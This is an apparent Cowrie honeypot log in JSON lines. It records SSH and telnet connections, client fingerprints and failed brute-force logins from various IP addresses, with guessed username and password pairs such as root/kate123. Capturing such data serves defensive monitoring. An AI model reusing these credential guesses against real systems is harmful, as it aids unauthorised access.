{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:14.206634Z","src_ip":"147.45.199.80","session":"97f506a4b261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kate123","message":"login attempt [root/kate123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:14.490973Z","src_ip":"147.45.199.80","session":"97f506a4b261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:15.594841Z","src_ip":"147.45.199.80","session":"97f506a4b261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":57213,"dst_ip":"10.17.0.5","dst_port":22,"session":"9586f9e98455","protocol":"ssh","message":"New connection: 103.248.120.6:57213 (10.17.0.5:22) [session: 9586f9e98455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:32.146020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:32.148628Z","src_ip":"103.248.120.6","session":"9586f9e98455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:32.368119Z","src_ip":"103.248.120.6","session":"9586f9e98455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwer1234","message":"login attempt [admin/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:33.278775Z","src_ip":"103.248.120.6","session":"9586f9e98455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:34.499921Z","src_ip":"103.248.120.6","session":"9586f9e98455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":46182,"dst_ip":"10.17.0.5","dst_port":22,"session":"d171308d5c08","protocol":"ssh","message":"New connection: 162.241.129.208:46182 (10.17.0.5:22) [session: d171308d5c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:36.902675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:36.906389Z","src_ip":"162.241.129.208","session":"d171308d5c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:36.935343Z","src_ip":"162.241.129.208","session":"d171308d5c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cardano","password":"cardano456","message":"login attempt [cardano/cardano456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:37.023250Z","src_ip":"162.241.129.208","session":"d171308d5c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:38.055718Z","src_ip":"162.241.129.208","session":"d171308d5c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45044,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bcf5ef295ed","protocol":"telnet","message":"New connection: 170.64.224.25:45044 (159.203.135.109:23) [session: 6bcf5ef295ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:43.711999Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":52352,"dst_ip":"159.203.135.109","dst_port":23,"session":"35788e83d120","protocol":"telnet","message":"New connection: 137.184.5.188:52352 (159.203.135.109:23) [session: 35788e83d120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:50.212430Z"}
{"eventid":"cowrie.session.closed","duration":35.80211400985718,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:48:19.513971Z","src_ip":"170.64.224.25","session":"6bcf5ef295ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":39536,"dst_ip":"159.203.135.109","dst_port":22,"session":"40447bc6cbb2","protocol":"ssh","message":"New connection: 31.179.197.26:39536 (159.203.135.109:22) [session: 40447bc6cbb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:48:55.617079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:48:55.622658Z","src_ip":"31.179.197.26","session":"40447bc6cbb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:48:55.727618Z","src_ip":"31.179.197.26","session":"40447bc6cbb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nucleus","password":"nucleus","message":"login attempt [nucleus/nucleus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:48:56.171463Z","src_ip":"31.179.197.26","session":"40447bc6cbb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:48:57.276796Z","src_ip":"31.179.197.26","session":"40447bc6cbb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":60468,"dst_ip":"10.17.0.5","dst_port":22,"session":"d262ae411b4a","protocol":"ssh","message":"New connection: 162.240.75.182:60468 (10.17.0.5:22) [session: d262ae411b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:48:57.939626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:48:57.942995Z","src_ip":"162.240.75.182","session":"d262ae411b4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:48:58.024624Z","src_ip":"162.240.75.182","session":"d262ae411b4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"floki456","message":"login attempt [root/floki456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:48:58.275142Z","src_ip":"162.240.75.182","session":"d262ae411b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:00.220228Z","src_ip":"162.240.75.182","session":"d262ae411b4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":44634,"dst_ip":"10.17.0.5","dst_port":22,"session":"f13b457a34f9","protocol":"ssh","message":"New connection: 91.92.40.176:44634 (10.17.0.5:22) [session: f13b457a34f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:09.944691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:09.994662Z","src_ip":"91.92.40.176","session":"f13b457a34f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:10.225645Z","src_ip":"91.92.40.176","session":"f13b457a34f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"welcome","message":"login attempt [user/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:10.511059Z","src_ip":"91.92.40.176","session":"f13b457a34f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:11.645625Z","src_ip":"91.92.40.176","session":"f13b457a34f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":48744,"dst_ip":"10.17.0.5","dst_port":22,"session":"773b547f4325","protocol":"ssh","message":"New connection: 103.77.175.15:48744 (10.17.0.5:22) [session: 773b547f4325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:22.978103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:22.982049Z","src_ip":"103.77.175.15","session":"773b547f4325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:23.203577Z","src_ip":"103.77.175.15","session":"773b547f4325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":48426,"dst_ip":"10.17.0.5","dst_port":22,"session":"e36cf9edb918","protocol":"ssh","message":"New connection: 190.244.39.224:48426 (10.17.0.5:22) [session: e36cf9edb918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:23.510838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:23.518721Z","src_ip":"190.244.39.224","session":"e36cf9edb918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:23.686765Z","src_ip":"190.244.39.224","session":"e36cf9edb918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"acer","message":"login attempt [root/acer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:24.095796Z","src_ip":"103.77.175.15","session":"773b547f4325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"My@123456","message":"login attempt [root/My@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:24.359723Z","src_ip":"190.244.39.224","session":"e36cf9edb918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:25.325592Z","src_ip":"103.77.175.15","session":"773b547f4325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:25.529578Z","src_ip":"190.244.39.224","session":"e36cf9edb918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01039433479309,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:49:50.222717Z","src_ip":"137.184.5.188","session":"35788e83d120","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":50225,"dst_ip":"10.17.0.5","dst_port":22,"session":"64764e470e0e","protocol":"ssh","message":"New connection: 103.248.120.6:50225 (10.17.0.5:22) [session: 64764e470e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:17.150109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:17.154801Z","src_ip":"103.248.120.6","session":"64764e470e0e","protocol":"ssh"}
